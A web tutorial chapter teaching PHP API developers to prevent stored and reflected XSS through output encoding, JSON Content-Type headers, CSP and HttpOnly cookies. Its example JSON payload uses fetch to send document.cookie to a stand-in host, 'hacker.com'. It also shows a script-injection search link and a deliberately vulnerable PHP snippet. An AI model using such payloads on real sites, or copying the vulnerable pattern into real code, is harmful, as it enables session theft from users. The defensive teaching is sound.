Skip to main content
API Security Tutorial
CHAPTER 11 Intermediate

Preventing Cross-Site Scripting (XSS)

Updated: May 13, 2026
20 min read

# CHAPTER 11

Preventing Cross-Site Scripting (XSS)

1. Introduction

While SQL Injection attacks your backend database, Cross-Site Scripting (XSS) uses your API as a vehicle to attack your users' web browsers. If your API accepts data from User A, and blindly serves that data to User B, an attacker can embed malicious JavaScript into the data. When User B's browser renders it, the script executes, stealing their session cookies or performing actions on their behalf. In this chapter, we will explore Stored and Reflected XSS, and how to neutralize these attacks using Output Encoding and strict API headers.

2. Learning Objectives

By the end of this chapter, you will be able to:
  • Explain the mechanics of a Cross-Site Scripting (XSS) attack.
  • Differentiate between Stored XSS and Reflected XSS.
  • Understand the role APIs play in facilitating XSS attacks.
  • Implement PHP's htmlspecialchars() for output encoding.
  • Utilize security headers like Content-Security-Policy (CSP).

3. Beginner-Friendly Explanation

Imagine a public bulletin board at a coffee shop. You allow anyone to write a sticky note and put it on the board.
  • Normal User: Writes "Guitar for sale, call John."
  • Malicious User (XSS): Writes "To read this note, please hand your wallet to the man in the corner."

If the coffee shop owner (the API) blindly takes the malicious note and posts it on the board (the Frontend UI), any customer who reads the board might get tricked.

XSS Prevention is the coffee shop owner reading the note first, seeing the dangerous instructions, and putting a plastic cover over the note that says: "WARNING: This is just text, do not follow these instructions." We force the browser to treat the data *strictly as text*, not as *executable code*.

4. Real-World Attack Scenarios

  • Stored XSS (The Samy Worm): In 2005, a user named Samy realized MySpace wasn't filtering <script> tags on user profiles. He injected a script into his profile. Anyone who viewed his profile unknowingly executed the script, which forced their account to add Samy as a friend and copy the script to *their* profile. It infected 1 million users in 20 hours.
  • Reflected XSS: An API has an endpoint /api/search?query=laptops. The API returns {"message": "No results for laptops"}. An attacker crafts a link: /api/search?query=<script>steal_token()</script> and emails it to a victim. If the victim clicks the link, the API reflects the script back to the browser, and the victim's token is stolen.

5. API-Specific XSS Vectors

Historically, XSS was a PHP/HTML problem. But in modern architecture, the PHP API sends JSON, and a React/Vue frontend renders it. If your PHP API returns:
json
123
{
  "comment": "Hello <script>fetch(&#039;http://hacker.com?cookie='+document.cookie)</script>"
}

If the frontend developer uses React's dangerouslySetInnerHTML or vanilla JavaScript's innerHTML = data.comment, the attack succeeds. Security is a shared responsibility. The API should sanitize data, and the frontend must encode it.

6. Vulnerable vs Secure Code Examples (PHP)

Vulnerable PHP (Reflecting Input directly):

php
12345
<?php
// VULNERABLE: The API reflects the user's input directly into the JSON response
$search_term = $_GET[&#039;q']; 
echo json_encode(["message" => "You searched for: " . $search_term]);
?>

Secure PHP (Output Encoding):

php
123456789
<?php
$search_term = $_GET[&#039;q'];

// SECURE: Converts special characters (<, >, &, ") into safe HTML entities
// '<script>' becomes '<script>'
$safe_term = htmlspecialchars($search_term, ENT_QUOTES, &#039;UTF-8');

echo json_encode(["message" => "You searched for: " . $safe_term]);
?>

7. JSON Response Headers

An API should never accidentally be interpreted as HTML. If an attacker navigates directly to your API endpoint in their browser, and your API returns a malicious script, the browser might execute it if the headers are wrong.

Always enforce the Content-Type header:

php
1234
<?php
// Forces the browser to treat the response as data, NEVER as executable HTML
header(&#039;Content-Type: application/json; charset=utf-8');
?>

8. Content Security Policy (CSP)

A Content Security Policy is an HTTP header sent by the server that tells the browser exactly what scripts are allowed to run. It is the ultimate defense-in-depth against XSS. If a hacker successfully injects a script into your database, CSP can stop the browser from executing it.
php
1234
<?php
// Tells the browser: Only run scripts hosted on my own domain. Block all inline <script> tags!
header("Content-Security-Policy: default-src &#039;self'; script-src 'self'");
?>

9. Best Practices

  • Sanitize on Output, Not Input: It is generally better to save the raw, exact data the user typed into the database, and run htmlspecialchars() *only* when you are outputting the data. This preserves data integrity.
  • Set HttpOnly Cookies: If your API uses session cookies, always set the HttpOnly flag. If an XSS attack occurs, the malicious JavaScript cannot read document.cookie, saving the user's session from being hijacked.
  • Trust the Framework: Modern frontend frameworks (React, Angular, Vue) automatically encode output by default. Do not bypass these protections unless absolutely necessary.

10. Common Mistakes

  • Assuming APIs don't need XSS protection: Backend developers often think, "XSS is a frontend problem; my API just returns JSON." If your API serves malicious data to a vulnerable mobile app or a poorly written third-party client, your API is the distribution mechanism for the attack.
  • Using strip_tags(): PHP's strip_tags() is notorious for edge cases and can be bypassed by clever attackers. Use htmlspecialchars() instead to neutralize tags rather than trying to delete them.

11. Mini Exercises

  1. 1. What does htmlspecialchars() do to a < character?
  1. 2. Why is a Stored XSS attack generally considered more dangerous than a Reflected XSS attack?

12. Practice Challenges

Challenge: Write a short PHP script that takes a $_POST['bio'] variable, neutralizes any potential HTML/JavaScript tags using the correct PHP function, and then echoes the sanitized string inside a JSON object.

13. MCQs with Answers

Question 1

What is the primary goal of a Cross-Site Scripting (XSS) attack?

Question 2

Which PHP function is best suited for converting dangerous HTML characters (like < and >) into safe entities before displaying them?

Question 3

How does the HttpOnly cookie flag help mitigate the damage of a successful XSS attack?

14. Interview Questions

  • Q: Explain the difference between Stored XSS and Reflected XSS using an API context.
  • Q: As a backend API developer, what HTTP headers can you implement to mitigate XSS risks on the frontend?
  • Q: Explain the phrase "Sanitize on Output, Validate on Input."

15. FAQs

Q: If I use React on the frontend, do I still need to worry about XSS in my PHP API? A: Yes. While React protects against 95% of XSS via automatic encoding, there are still risks (like developers using dangerouslySetInnerHTML, or injecting data directly into href attributes: <a href="javascript:malicious_code()">). Defense in depth requires the API to sanitize dangerous payloads regardless of the frontend technology.

16. Summary

In this chapter, we learned that APIs can unknowingly distribute malicious JavaScript to users, resulting in Cross-Site Scripting (XSS) attacks. We differentiated between Stored XSS (saved in the database) and Reflected XSS (bounced off a URL). We explored mitigation strategies, primarily relying on output encoding via PHP's htmlspecialchars(), enforcing strict Content-Type: application/json headers, and utilizing HttpOnly cookies to protect sensitive sessions.

17. Next Chapter Recommendation

Browser security relies heavily on the "Same-Origin Policy." But APIs are often meant to be shared across domains. Proceed to Chapter 12: Understanding and Configuring CORS to learn how to securely bypass the Same-Origin Policy without exposing your API to cross-site attacks.

Finish this Chapter

Save your progress on your learning path and prepare for coding interview challenges.

Discussion

Join the discussion

Log in or create a free account to participate.

Sort: ·